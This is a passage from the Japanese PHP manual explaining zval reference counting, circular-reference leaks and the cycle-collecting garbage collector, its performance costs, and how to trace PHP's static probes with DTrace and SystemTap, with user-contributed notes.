?>

上の例の出力は以下となります。

a: (refcount=1, is_ref=0)='new string'

この変数を他の変数名に代入すると、refcount が増加します。

例3 zval の refcount を増加

<?php
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
?>

上の例の出力は以下となります。

a: (refcount=2, is_ref=0)='new string'

この時、refcount は 2 です。なぜなら、同じ変数コンテナが a と b にリンクされるからです。 PHPは、必要ではない場合に実際の変数コンテナをコピーしないように十分スマートです。 「refcount」がゼロに達すると、変数コンテナは破棄されます。 変数コンテナにリンクされたあらゆるシンボルがスコープを抜ける (たとえば関数が終わる) 場合、またはシンボルへの代入が解除された (たとえば unset() が呼ばれた) 場合に「refcount」が減少します。 下記の例でこれを示します。

例4 zval refcount を減少

<?php
$a = "new string";
$c = $b = $a;
xdebug_debug_zval( 'a' );
$b = 42;
xdebug_debug_zval( 'a' );
unset( $c );
xdebug_debug_zval( 'a' );
?>

上の例の出力は以下となります。

a: (refcount=3, is_ref=0)='new string'
a: (refcount=2, is_ref=0)='new string'
a: (refcount=1, is_ref=0)='new string'

次に、unset($a); を呼ぶと、（型と値を含む）変数コンテナが メモリから除去されます。

複合型

array や object のような複合型では、事情が少し 複雑になります。 scalar 値とは逆に、array と object では、それらのプロパティをそれら自身のシンボルテーブルに保管します。 これは、以下の例が3つの zval コンテナを作成することを意味します。

例5 array zval を作成

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
xdebug_debug_zval( 'a' );
?>

上の例の出力は、 たとえば以下のようになります。

a: (refcount=1, is_ref=0)=array (
   'meaning' => (refcount=1, is_ref=0)='life',
   'number' => (refcount=1, is_ref=0)=42
)

つまり、図で示すと

3つのzvalコンテナは a、meaning および number です。「refcount」の増減に同様のルールが適用されます。 下記では、配列に他の要素を追加して、既存の要素の内容をその値に設定します。

例6 既存の要素を配列に追加

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
$a['life'] = $a['meaning'];
xdebug_debug_zval( 'a' );
?>

上の例の出力は、 たとえば以下のようになります。

a: (refcount=1, is_ref=0)=array (
   'meaning' => (refcount=2, is_ref=0)='life',
   'number' => (refcount=1, is_ref=0)=42,
   'life' => (refcount=2, is_ref=0)='life'
)

つまり、図で示すと

上記の Xdebug 出力では、新旧両方の配列要素が今や、refcount が 2 である zval コンテナを指すことがわかります。 Xdebugの出力では、'life' という値の zval コンテナが2つ 表示されますが、それらは同一です。 xdebug_debug_zval() 関数はこれを表示しませんが、 メモリ・ポインターを示すことによってもそれを確かめられます。

配列からの要素の除去は、スコープからシンボルを除去するようなものです。 そうすることによって、配列要素が指すコンテナの「refcount」は、減少します。 前と同じように、「refcount」がゼロに達すると、変数コンテナはメモリから 除去されます。前と同じように、これを示す例です。

例7 配列から要素を除去

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
$a['life'] = $a['meaning'];
unset( $a['meaning'], $a['number'] );
xdebug_debug_zval( 'a' );
?>

上の例の出力は、 たとえば以下のようになります。

a: (refcount=1, is_ref=0)=array (
   'life' => (refcount=1, is_ref=0)='life'
)

次に、配列の要素として配列自体を追加すると、事情が面白くなります。 次の例で行います、そこでは、参照演算子にこっそり入りもします。 さもなければ PHP がコピーを作成するでしょう。

例8 それ自体の要素として配列自体を追加

<?php
$a = array( 'one' );
$a[] =& $a;
xdebug_debug_zval( 'a' );
?>

上の例の出力は、 たとえば以下のようになります。

a: (refcount=2, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=2, is_ref=1)=...
)

つまり、図で示すと

配列変数 (a) が２番目の要素 (1) と同様に 「refcount」が 2 である変数コンテナを今や指していることがわかります。 上記の表示の「...」は入り組んだ再帰があることを示します。 もちろんこの場合には、「...」が元の配列を指すことを意味します。

ちょうど前のように、変数をアンセットするとシンボルが除去されます。 そして指す変数コンテナの参照カウントがアンセットにより減少します。 従って、上記のコードを実行した後に変数 $a をアンセットすると、 $a と要素「1」を指す変数コンテナの参照カウントは、 アンセットにより「2」から「1」に減少します。これは次のように表現されます。

例9 $a をアンセット

(refcount=1, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=1, is_ref=1)=...
)

つまり、図で示すと

片づけの問題

この構造体を指すシンボルがいかなるスコープにももはや存在しないにもかかわらず、 配列要素「1」がこの同じ配列をまだ指すので、片づけられません。 それを指している外部シンボルがないので、ユーザーがこの構造体を片付ける方法が ありません。このようにしてメモリーリークとなります。 幸いにも、PHP はリクエスト終了後、このデータ構造を片付けます、しかし、それ以前に これはメモリ内の貴重な空間を占めています。 この状態は、「親」要素に再帰する「子」を持つ構文解析アルゴリズムなどの実装中に しばしば発生します。 もちろんオブジェクトでも同じ状態が起こり得ます。オブジェクトは常に暗黙のうちに 参照によって使われるので、実はその状態がより起こりそうです。

これが 1、2 回起こるだけであるならば、これは問題でないかもしれません。しかし、 これらのメモリ損失の数千または数百万さえあるならば、これは明らかに問題になり始めます。 これは、例えばリクエストが基本的に決して終わらないデーモンのような、長くかかる 実行中のスクリプトや、単体テストの大規模な集合で特に問題があります。 後者は、eZ コンポーネント・ライブラリのテンプレート・コンポーネントに対して 単体テストを実行中に問題を引き起こしました。 いくらかの事例で、それは 2GB 以上のメモリを必要とします。そしてテストサーバーは全く 持っていませんでした。

User Contributed Notes

skymei at skymei dot cn 27-Dec-2019 06:50
$a = 'new string';
$b = 1;
xdebug_debug_zval('a');
xdebug_debug_zval('b');

ouputs with PHP 7.3.12 (cli)

a: (interned, is_ref=0)='new string'
b: (refcount=0, is_ref=0)=1
chxt2011 at 163 dot com 15-Apr-2019 03:44
my php version is PHP 7.1.6 (cli), when I run

$a = 'new string';
$b = 1;
xdebug_debug_zval('a');
xdebug_debug_zval('b');

it shows:
a: (refcount=0, is_ref=0)='new string'
b: (refcount=0, is_ref=0)=1
yuri1308960477 at gmail dot com 11-Feb-2019 07:35
my php versoin : HP 7.1.25 (cli) (built: Dec  7 2018 08:20:45) ( NTS )

$a = 'new string';
$b = 1;
xdebug_debug_zval('a');
xdebug_debug_zval('b');

output:

a: (refcount=2, is_ref=0)='new string'
b: (refcount=0, is_ref=0)=1

if $a is a string value, 'refcount' equal 2 by defalut.
shkarbatov at gmail dot com 18-Jan-2018 11:05
Result of "Example #8 Adding the array itself as an element of it self" will be another for PHP7:

a: (refcount=2, is_ref=1)=array (
    0 => (refcount=2, is_ref=0)='one',
    1 => (refcount=2, is_ref=1)=...
)

insted of:
a: (refcount=2, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=2, is_ref=1)=...
)

Internal value representation in PHP 7:
https://nikic.github.io/2015/05/05/Internal-value-representation-in-PHP-7-part-1.html
Anonymous 08-Dec-2014 02:49
There seems to be no way to inspect the reference count of a specific class variable but you can view the reference count of all variables in the current class instance with xdebug_debug_zval('this');
Anonymous 08-Dec-2014 02:15
If a variable is not present in the current scope xdebug_debug_zval　will return null.


循環の収集

伝統的に、PHP で以前使われていたような参照カウント法記憶機構では、 循環参照メモリ・リークに対処できません。 しかしながら、5.3.0 現在、PHP ではその問題に焦点を当てた » Concurrent Cycle Collection in Reference Counted Systems レポートに由来する同期アルゴリズムを実装しています。

アルゴリズムの動作方法の詳しい説明についてはこのセクションで扱う範囲を超えるので、 ここではその基本を説明します。 まず第一に、いくつかの基本原則を確立しなければなりません。 refcount が増やされたら、それはまだ使用中で、従ってゴミではありません。 refcount が減少して、ゼロに達したら、zvalは解放可能です。 refcount 引数がゼロ以外の値に減少する場合、これは、ガベージサイクルを作成できる だけであることを意味します。 第２に、ガベージサイクルで、それらの refcount を減少させられるかどうかチェック することによって、どの部分がゴミか発見できます。 可能です、そして、zval のうちいずれがゼロの refcountを持つか調べます。

refcount の減少が起こりうるたびにガベージ・サイクルのチェックを呼び出さなくても良いように、 代わりに、可能性があるルート (zvals) 全てをアルゴリズムはルート・バッファにたくわえます。 （それらは「紫」とマークされます) それは、可能性のあるガベージのルートそれぞれがバッファ内で一度だけで終わることも確認します。 ルート・バッファが満杯の場合だけ、内部のそれぞれの zval 全てに対して収集機構が動き出します。 上図のステップ A をご覧ください。

ステップ B では、見つけた各 zval の refcount を一つ減じるために、 可能性があるルート全てに対してアルゴリズムが深さ優先探索を実行します。 それは、同一の zval に対して refcount を２回減じていないことを確保します。 (それらを「灰色」とマークすることにより) 工程 C では、それぞれのルート・ノードからアルゴリズムが再び深さ優先探索を実行します。 それは各 zval の refcount を再度チェックするためです。 refcount がゼロと分かった場合、zval は「白」（図では青色です）とマークされます。 もしそれが正の数なら、それは、指し示すところからの深さ優先探索により refcount の減少を一つ戻します。 そしてそれらは再び「黒」とマークされます。 最後の工程 (D) では、アルゴリズムはルート・バッファを走査してそこから zval ルートを除去します。 そしてその一方で zval が前の工程で「白」とマークされていたかどうかをチェックします。 「白」としてマークされた zval が全て解放されます。

アルゴリズムが動作する方法の基礎を理解したので、 これと PHP を統合する方法を振り返りましょう。 デフォルトで、PHP のガベージコレクタは有効です。 しかしながら、これを変更できる php.ini の設定があります。 それが zend.enable_gc です。

ガベージコレクタがオンの場合、 ルート・バッファが満杯になるといつでも、先に述べたように循環検出法が実行されます。 ルート・バッファでは、可能性があるルートのサイズが一万件に固定されています。 （PHP のソースコードの Zend/zend_gc.c で GC_ROOT_BUFFER_MAX_ENTRIES 定数を変更して、PHP を再コンパイルすると変更できます） ガベージコレクタをオフにすると、循環検出法は実行されなくなります。 しかしながら、可能性があるルートはルート・バッファに常に記録されます。 ガベージコレクション機構がこの構成設定値で起動したかどうかは問題ではありません。

ガベージコレクション機構がオフの時に、可能性があるルートでルート・バッファが満杯になると、 可能性があるルートは単にそれ以上記録されません。 記録されないそれらの可能性があるルートは、アルゴリズムによって決して分析されません。 もしそれらが循環参照サイクルの要素ならば、 それらは決してクリーンアップされないで、メモリリークを生み出します。

たとえ機構が無効だとしても、可能性があるルートが記録される理由は、 可能性があるルートが見つかるたびに機構がオンかどうかチェックしなければいけないよりも、 可能性があるルートを記録するほうが速いからです。 しかしながら、ガベージコレクションと分析機構そのものにかなりの時間がかかることがあります。

zend.enable_gc 構成設定値を変える他に、 gc_enable() や gc_disable() をそれぞれ呼ぶことでも、 ガベージコレクション機構をオン／オフできます。 それらの機能を呼ぶことと、構成設定値で機構をオン／オフすることには同じ影響があります。 たとえ可能性があるルートのバッファがまだ満杯でなくても、 循環の収集を強制することもできます。 このために、gc_collect_cycles() 関数を使用できます。 この関数は、アルゴリズムによって収集された循環の数を返します。

機構をオン／オフしたり、循環の収集を開始する機能の後ろ盾になる根拠は、 アプリケーションの一部分は非常に時間に敏感な可能性があることです。 それらの場合、ガベージコレクション機構が有効にならないほうが良いかもしれません。 もちろん、アプリケーションのある種の部分では、ガベージコレクションをオフにすることにより、 メモリリークを引き起こす危険があります。 なぜなら可能性があるルートの一部は有限のルート・バッファに収まらないかもしれないからです。 従って、ルート･バッファにすでに記録された、可能性があるルートを通じて失われる可能性のあるメモリを解放するために、 gc_disable() を呼ぶ直前に gc_collect_cycles() を呼ぶことは多分賢いでしょう。 そうすると、循環収集機構がオフの間、 可能性があるルートを保管するためのより多くの空間のための空のバッファが残ります。

User Contributed Notes

instatiendaweb at gmail dot com 13-Mar-2021 10:41
//Remove ciclic array ref
foreach($a as $clave =>$borradoa){unset($a[$clave]);}
unset($a);
Jack at example dot com 14-Aug-2020 01:50
In step B, the algorithm runs a depth-first search on all possible roots to decrease by one the refcounts of each zval it finds, making sure not to decrease a refcount on the same zval twice (by marking them as "grey")

?了防止同一个zval紫色?量?除2次，??除一次，就???灰色。
Dallas 25-Mar-2018 09:46
After testing, breaking up memory intensive code into a separate function allows the garbage collection to work.

For example the original code was like:-
while(true){
   //do memory intensive code
}

can be turned into something like:-
function intensive($parameters){
   //do memory intensive code
}

while(true){
   intensive($parameters);
}
Yousha dot A at Hotmail dot com 04-Sep-2016 01:01
── Unused Objects ─── ─ In use Objects
↓                    ↓               ↓
 _____________________________________
 |□□□□□□□□□□□□□□□□□|??■■■■■■■■■■■■■■■■|
 |□□□□□□□□□□□□□□□□□|??■■■■■■■■■■■■■■■■|
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
          ▲                  ▲
     Unreferenced        Referenced
       Objects             Objects

? Memory leak
Yousha dot A at Hotmail dot com 24-Apr-2015 07:47
Memory leak: meaning you keep a reference to it thus preventing the GC from collecting it.


パフォーマンスの考慮点

可能性があるルートを単純に収集すると、パフォーマンスにごくわずかな影響があると既に前述しました。 しかし、これは PHP 5.3 と PHP 5.2 を比較する場合です。 可能性があるルートを記録すると、PHP 5.2 のように全く記録しないものに比べてより遅いとはいえ、 PHP 5.3 のランタイムへの他の変更点により、この特有のパフォーマンス低下が一層際立つことが防止されています。

パフォーマンスが影響を受ける主な分野は2つあります。 1つ目は、減少したメモリ使用量で、 2つ目はガベージコレクション機構がそのメモリ・クリーンアップを実行する際の実行遅延です。 それら両方の問題を見てみましょう。

減少したメモリ使用量

まず第一に、ガベージコレクション機構を実装する理由は、 必要条件が満たされたらすぐに、循環参照された変数を整理してメモリ使用量を減らすことにあるのです。 PHP の実装では、ルート・バッファが満杯になるか、または、関数 gc_collect_cycles() が呼ばれるとすぐにこれが起こります。 下図で、下記のスクリプトのメモリ使用量を PHP 5.2 及び PHP 5.3 の両方で示します。 (ただし)起動時に PHP 自身が使用する基底メモリを除きます。

例1 メモリ使用量の例

<?php
class Foo
{
    public $var = '3.14159265359';
}

$baseMemory = memory_get_usage();

for ( $i = 0; $i <= 100000; $i++ )
{
    $a = new Foo;
    $a->self = $a;
    if ( $i % 500 === 0 )
    {
        echo sprintf( '%8d: ', $i ), memory_get_usage() - $baseMemory, "\n";
    }
}
?>
PHP 5.2 と PHP 5.3 のメモリ使用量の比較

このとても学術的な例では、 プロパティがオブジェクト自身を指すように設定されたオブジェクトを作成します。 スクリプト内の $a 変数がループの次の繰り返しで再設定されると、 一般的にメモリ・リークが発生します。 この場合、zval コンテナが２つリークします（オブジェクトの zval 及び プロパティの zval）。 しかし、可能性があるルートが一つだけ見つかります。 (それは)アンセットされた変数です。 一万回繰り返した後に（可能性があるルートを合計1万件伴って）ルート・バッファが満杯になると、 ガベージコレクション機構が有効になって、それらの可能性があるルートと関連するメモリを解放します。 これは PHP 5.3 での、のこぎりの歯のようなメモリ使用量グラフでとてもはっきりと分かります。 一万回繰り返す毎に機構が有効になって、循環参照された変数と関連するメモリを解放します。 この例ではリークした構造がとても単純なので、機構そのものが多くの仕事をする必要はありません。 図では、PHP 5.3 でのメモリ使用量の最大はおよそ 9MB と分かります。 ところが PHP 5.2 では、メモリ使用量は増加し続けます。

ランタイムの減速

ガベージコレクション機構がパフォーマンスに影響する２つ目の分野は、 ガベージコレクション機構が「リークした」メモリを解放するために 開始する際にかかる時間です。これがどの程度か見るためには、 反復回数をより多くし、間に入るメモリの使用量を除去するために、 前のスクリプトをちょっと修正します。 2つ目のスクリプトはこれです。

例2 GC パフォーマンスの影響

<?php
class Foo
{
    public $var = '3.14159265359';
}

for ( $i = 0; $i <= 1000000; $i++ )
{
    $a = new Foo;
    $a->self = $a;
}

echo memory_get_peak_usage(), "\n";
?>

このスクリプトを2回実行します。最初は zend.enable_gc 設定をオンにし、次はオフにします。

例3 上記のスクリプトを実行

time php -dzend.enable_gc=0 -dmemory_limit=-1 -n example2.php
# and
time php -dzend.enable_gc=1 -dmemory_limit=-1 -n example2.php

私のマシンでは、最初の命令は一貫しておよそ10.7秒かかるようです。 ところが、第2の命令にはおよそ11.4秒かかります。 これは、およそ7%の減速です。 しかしながら、スクリプトで使用されるメモリの最大量は、931MB から 10MB まで 98% 減ります。 このベンチマークはあまり学術的でもなく、現実のアプリケーションの代表でもありません。 しかし、このガベージコレクション機構が提供するメモリ使用量の利点を示します。 良い点は、スクリプト実行中に循環参照をより多く見つけて、 メモリ節約機能がますます多くのメモリを節約する一方で、 この個別のスクリプトで減速がいつでも同じく7%ということです。

PHP 内部の GC 統計

ガベージコレクション機構がPHP 内部から実行される方法に関して、 情報をもう少し上手に扱うことができます。 しかし、そうするためには、ベンチマークとデータ収集コードを使用可能にするために、 PHP を再コンパイルしなければなりません。 希望するオプションで ./configure を走らせる前に、 CFLAGS 環境変数を -DGC_BENCH=1 に設定しなければなりません。 以下の順序で目的に達するでしょう。

例4 GC ベンチマーキングを使用可能にするために PHP を再コンパイル

export CFLAGS=-DGC_BENCH=1
./config.nice
make clean
make

新しくビルドした PHP バイナリで上記のコード例を前と同じように実行すると、 PHP の実行終了後に、下記が表示されているでしょう。

例5 GC 統計

GC Statistics
-------------
Runs:               110
Collected:          2072204
Root buffer length: 0
Root buffer peak:   10000

      Possible            Remove from  Marked
        Root    Buffered     buffer     grey
      --------  --------  -----------  ------
ZVAL   7175487   1491291    1241690   3611871
ZOBJ  28506264   1527980     677581   1025731

最も有益な統計は、最初のブロックで示されます。 ここではガベージコレクション機構が 110 回実行されたことが分かります。 そして、全体では、それら 110 回の実行中に、 200万以上のメモリ割り当てが 解放されました。 ガベージコレクション機構が少なくとも一回実行されるや否や、 "Root buffer peak" は常に 10000 です。

結論

通常、循環収集アルゴリズムが実際に動作する際、PHP でのガベージコレクタは減速を 引き起こすだけです。一方、通常の（より小さい）スクリプトでは、打撃を受ける パフォーマンスが全くあってはいけません。

しかしながら、循環収集機構が通常のスクリプトに対して動作する場合には、 全体でそれほど多くのメモリが使われないので、 循環収集機構により提供されるメモリ節減により、それらのスクリプトの多くで サーバー上で平行して稼動できるようになります。

より長時間にわたるスクリプト（例えば長いテスト・スイートまたはデーモン・スクリプト）にとって 有利なことはとても明らかです。 また、ウェブ用のスクリプトに比べてたいていより長く動作する傾向がある » PHP-GTK アプリケーションについては、 時がたつにつれて忍び込むメモリリークに関して、新しい機構によるかなりの差が生じなければなりません。

User Contributed Notes

Dmitry dot Balabka at gmail dot com 09-May-2018 11:13
There is a possibility to get GC performance stats without PHP recompilation. Starting from Xdebug version 2.6 you are able to enable stats collection into the file (default dir /tmp with name gcstats.%p):

php -dxdebug.gc_stats_enable=1 your_script.php
Talisman 04-Dec-2015 08:25
The GC, unfortunately, as expounded in the examples above, has the tendency to promote lazy programming.
Clearly the benefits of the GC to assist in memory management are there, and help to maintain a stable system, but it is no excuse to not plan and test your code properly.
Always re-read your code critically and objectively to ensure that you are not introducing memory leaks unintentionally.


DTrace 動的トレーシング

目次

  • PHP および DTrace への入門
  • PHP および DTrace の使用
  • PHP DTrace 静的プローブとともに SystemTap を使用

User Contributed Notes

There are no user contributed notes for this page.


PHP および DTrace への入門

DTrace は、常に使用可能で、オーバーヘッドが少なく、 Solaris、macOS、Oracle Linux および BSD を含む 多数のプラットフォーム上で使用可能なトレーシング・フレームワークです。 DTrace は、OS の挙動およびユーザー・プログラムの実行を追跡できます。 それは、引数の値を表示したり、パフォーマンス統計を推定することに使用できます。 プローブは、DTrace D スクリプト言語で書かれた ユーザー作成のスクリプトによりモニターされます。 これにより、データ・ポイントの効率的な分析が可能になります。

ユーザーの DTrace D スクリプトによりアクティブにモニターされていない PHP プローブには計装化コードを含みません。 それは、通常のアプリケーション実行中は、パフォーマンス低下がないからです。 モニターされているプローブのオーバーヘッド負荷は、 一般的に作業中の本番システム上で DTrace をモニターしてもよいほど十分な低さです。

PHP は、ランタイムで駆動された "User-level Statically Defined Tracing (USDT。ユーザーレベルの静的に定義されたトレーシング)" プローブを組み入れます。 例えば、D スクリプトが PHP の function-entry プローブをモニター中の場合、 PHP スクリプトの関数が呼ばれるたびにこのプローブは発射され、 関連付けられた D スクリプトの実行コードが実行されます。 この実行コードは、例えば PHP 関数のソースファイルの場所のような、 プローブの引数を印刷したり、 各関数が呼ばれる回数のようなデータを集計できるでしょう。

PHP USDT プローブの記述はここだけです。 任意の関数をトレースするために DTrace を使用する方法、 および OS の挙動をトレースするための使用方法については、 外部の一般および OS 固有の DTrace の文献を参照ください。 すべての DTrace の機能がすべての DTrace 実装で使用可能とは 限らないことに注意してください。

DTrace 静的プローブは、PHP 5.4 で含まれます。 これより前は、» PECL 拡張モジュールを通じて使用可能でした。 これは現在では廃止されました。

PHP での静的な DTrace プローブは、 一部の Linux ディストリビューションの SystemTap 機能に対して 代わりに使用できます。

User Contributed Notes

There are no user contributed notes for this page.


PHP および DTrace の使用

DTrace 動的トレーシングをサポートするプラットフォームでは、 DTrace 静的プローブ付きで PHP を構成できます。

DTrace 静的プローブのために PHP を構成

OS の DTrace サポートを有効にするには、 プラットフォーム固有の外部のドキュメントを参照してください。 例えば、Oracle Linux では UEK3 を起動して下記を行います。

# modprobe fasttrap
# chmod 666 /dev/dtrace/helper

chmod を使用する代わりに、 デバイスのアクセスを特定のユーザーに制限するために ACL パッケージ・ルールを使用できるでしょう。

--enable-dtrace 構成パラメータとともに PHP をビルドします。

# ./configure --enable-dtrace ...
# make
# make install

これは、 コア PHP で静的プローブを有効にします。 それら自身のプローブを提供するどの PHP 拡張モジュールも、 共用拡張モジュールとして別々にビルドするべきです。

コア PHP の DTrace 静的プローブ

PHP では、以下の静的プローブが使用できます
プローブ名 | プローブの説明 | プローブの引数
request-startup | リクエスト開始時に発射されます。 | char *file, char *request_uri, char *request_method
request-shutdown | リクエスト・シャットダウン時に発射されます。 | char *file, char *request_uri, char *request_method
compile-file-entry | スクリプトのコンパイル開始時に発射されます。 | char *compile_file, char *compile_file_translated
compile-file-return | スクリプトのコンパイル終了時に発射されます。 | char *compile_file, char *compile_file_translated
execute-entry | op コードの配列が実行される際に発射されます。 例えば、関数の呼び出し、インクルードおよびジェネレータ続行時に発射されます。 | char *request_file, int lineno
execute-return | op コードの配列の実行後に発射されます。 | char *request_file, int lineno
function-entry | PHP エンジンが、PHP の関数またはメソッドの呼び出しに入り込む際に発射されます。 | char *function_name, char *request_file, int lineno, char *classname, char *scope
function-return | PHP エンジンが、PHP の関数またはメソッドの呼び出しから戻る際に発射されます。 | char *function_name, char *request_file, int lineno, char *classname, char *scope
exception-thrown | 例外がスローされる際に発射されます。 | char *classname
exception-caught | 例外が捕捉される際に発射されます。 | char *classname
error | error_reporting レベルにかかわらず、 エラー発生時に発射されます。 | char *errormsg, char *request_file, int lineno

PHP 拡張モジュールには、追加の静的プローブもあるかもしれません。

PHP の DTrace 静的プローブ一覧

使用できるプローブを一覧表示するには、 PHP プロセスを開始して以下のように実行します。

# dtrace -l

出力は以下のようになります。

   ID   PROVIDER            MODULE                          FUNCTION NAME
   [ . . . ]
    4   php15271               php               dtrace_compile_file compile-file-entry
    5   php15271               php               dtrace_compile_file compile-file-return
    6   php15271               php                        zend_error error
    7   php15271               php  ZEND_CATCH_SPEC_CONST_CV_HANDLER exception-caught
    8   php15271               php     zend_throw_exception_internal exception-thrown
    9   php15271               php                 dtrace_execute_ex execute-entry
   10   php15271               php           dtrace_execute_internal execute-entry
   11   php15271               php                 dtrace_execute_ex execute-return
   12   php15271               php           dtrace_execute_internal execute-return
   13   php15271               php                 dtrace_execute_ex function-entry
   14   php15271               php                 dtrace_execute_ex function-return
   15   php15271               php              php_request_shutdown request-shutdown
   16   php15271               php               php_request_startup request-startup

PROVIDER 列の値は、php および 現在実行中の PHP プロセスのプロセス ID から構成されます。

Apache Web サーバーが実行中の場合、モジュール名は、例えば libphp5.so かもしれません。 そして、実行中の Apache プロセスごとに 1 つ、 一覧表の複数のブロックが存在するかもしれません。

FUNCTION 列は、各プロバイダが配置された PHP 内部の C 実装関数名を参照します。

PHP プロセスが実行されていない場合、PHP プローブは表示されません。

PHP についての DTrace の例

この例では、DTrace の D スクリプト言語の基本を示します。

例1 DTrace を使用してすべての PHP 静的プローブをトレースするためのall_probes.d

#!/usr/sbin/dtrace -Zs

#pragma D option quiet

php*:::compile-file-entry
{
    printf("PHP compile-file-entry\n");
    printf("  compile_file              %s\n", copyinstr(arg0));
    printf("  compile_file_translated   %s\n", copyinstr(arg1));
}

php*:::compile-file-return
{
    printf("PHP compile-file-return\n");
    printf("  compile_file              %s\n", copyinstr(arg0));
    printf("  compile_file_translated   %s\n", copyinstr(arg1));
}

php*:::error
{
    printf("PHP error\n");
    printf("  errormsg                  %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
}

php*:::exception-caught
{
    printf("PHP exception-caught\n");
    printf("  classname                 %s\n", copyinstr(arg0));
}

php*:::exception-thrown
{
    printf("PHP exception-thrown\n");
    printf("  classname                 %s\n", copyinstr(arg0));
}

php*:::execute-entry
{
    printf("PHP execute-entry\n");
    printf("  request_file              %s\n", copyinstr(arg0));
    printf("  lineno                    %d\n", (int)arg1);
}

php*:::execute-return
{
    printf("PHP execute-return\n");
    printf("  request_file              %s\n", copyinstr(arg0));
    printf("  lineno                    %d\n", (int)arg1);
}

php*:::function-entry
{
    printf("PHP function-entry\n");
    printf("  function_name             %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
    printf("  classname                 %s\n", copyinstr(arg3));
    printf("  scope                     %s\n", copyinstr(arg4));
}

php*:::function-return
{
    printf("PHP function-return\n");
    printf("  function_name             %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
    printf("  classname                 %s\n", copyinstr(arg3));
    printf("  scope                     %s\n", copyinstr(arg4));
}

php*:::request-shutdown
{
    printf("PHP request-shutdown\n");
    printf("  file                      %s\n", copyinstr(arg0));
    printf("  request_uri               %s\n", copyinstr(arg1));
    printf("  request_method            %s\n", copyinstr(arg2));
}

php*:::request-startup
{
    printf("PHP request-startup\n");
    printf("  file                      %s\n", copyinstr(arg0));
    printf("  request_uri               %s\n", copyinstr(arg1));
    printf("  request_method            %s\n", copyinstr(arg2));
}

このスクリプトは、dtrace に対して -Z オプションを使用します。 それにより、実行中の PHP プロセスがない場合に実行できるようになります。 もしこのオプションが書き落とされた場合、 モニターされているプローブがどれも存在しないことがわかっているので、 スクリプトは即座に終了します。

スクリプトは、PHP スクリプト実行中の期間全体にわたって、 すべてのコア PHP 静的プローブ・ポイントをトレースします。 D スクリプトを実行します。

# ./all_probes.d

PHP スクリプトまたはアプリケーションを実行します。 モニタリングの D スクリプトは、各プローブが発射されるたびに その引数を出力します。

モニタリングが完了した際には、^Cを使用して D スクリプトを終わらせることができます。

マルチ CPU マシンでは、プローブの順序は規則的に連続して表示されないことがあります。 これは、どの CPU がプローブを処理し、 CPU の間をスレッドがどのように移動したかに依存します。 プローブのタイムスタンプを表示すると、 混乱を減らすことができます。 その例です。

php*:::function-entry
{
      printf("%lld: PHP function-entry ", walltimestamp);
      [ . . .]
}

関連項目

  • OCI8 および DTrace 動的トレーシング

User Contributed Notes

There are no user contributed notes for this page.


PHP DTrace 静的プローブとともに SystemTap を使用

一部の Linux ディストリビューションでは、 PHP の静的な DTrace プローブをトレースするために SystemTap トレーシング・ユーティリティを使用できます。 これは、PHP 5.4.20 および PHP 5.5 で使用できます。

SystemTap とともに PHP をインストール

SystemTap SDT 開発パッケージをインストールします。

# yum install systemtap-sdt-devel

DTrace プローブが有効化された状態で PHP をインストールします。

# ./configure --enable-dtrace ...
# make

SystemTap による静的プローブ一覧

stap を使用して PHP の静的プローブを一覧表示できます。

# stap -l 'process.provider("php").mark("*")' -c 'sapi/cli/php -i'

この出力です。

process("sapi/cli/php").provider("php").mark("compile__file__entry")
process("sapi/cli/php").provider("php").mark("compile__file__return")
process("sapi/cli/php").provider("php").mark("error")
process("sapi/cli/php").provider("php").mark("exception__caught")
process("sapi/cli/php").provider("php").mark("exception__thrown")
process("sapi/cli/php").provider("php").mark("execute__entry")
process("sapi/cli/php").provider("php").mark("execute__return")
process("sapi/cli/php").provider("php").mark("function__entry")
process("sapi/cli/php").provider("php").mark("function__return")
process("sapi/cli/php").provider("php").mark("request__shutdown")
process("sapi/cli/php").provider("php").mark("request__startup")

PHP についての SystemTap の例

例1 SystemTap を使用してすべての PHP 静的プローブをトレースするためのall_probes.stp

probe process("sapi/cli/php").provider("php").mark("compile__file__entry") {
    printf("Probe compile__file__entry\n");
    printf("  compile_file %s\n", user_string($arg1));
    printf("  compile_file_translated %s\n", user_string($arg2));
}
probe process("sapi/cli/php").provider("php").mark("compile__file__return") {
    printf("Probe compile__file__return\n");
    printf("  compile_file %s\n", user_string($arg1));
    printf("  compile_file_translated %s\n", user_string($arg2));
}
probe process("sapi/cli/php").provider("php").mark("error") {
    printf("Probe error\n");
    printf("  errormsg %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
}
probe process("sapi/cli/php").provider("php").mark("exception__caught") {
    printf("Probe exception__caught\n");
    printf("  classname %s\n", user_string($arg1));
}
probe process("sapi/cli/php").provider("php").mark("exception__thrown") {
    printf("Probe exception__thrown\n");
    printf("  classname %s\n", user_string($arg1));
}
probe process("sapi/cli/php").provider("php").mark("execute__entry") {
    printf("Probe execute__entry\n");
    printf("  request_file %s\n", user_string($arg1));
    printf("  lineno %d\n", $arg2);
}
probe process("sapi/cli/php").provider("php").mark("execute__return") {
    printf("Probe execute__return\n");
    printf("  request_file %s\n", user_string($arg1));
    printf("  lineno %d\n", $arg2);
}
probe process("sapi/cli/php").provider("php").mark("function__entry") {
    printf("Probe function__entry\n");
    printf("  function_name %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
    printf("  classname %s\n", user_string($arg4));
    printf("  scope %s\n", user_string($arg5));
}
probe process("sapi/cli/php").provider("php").mark("function__return") {
    printf("Probe function__return: %s\n", user_string($arg1));
    printf(" function_name %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
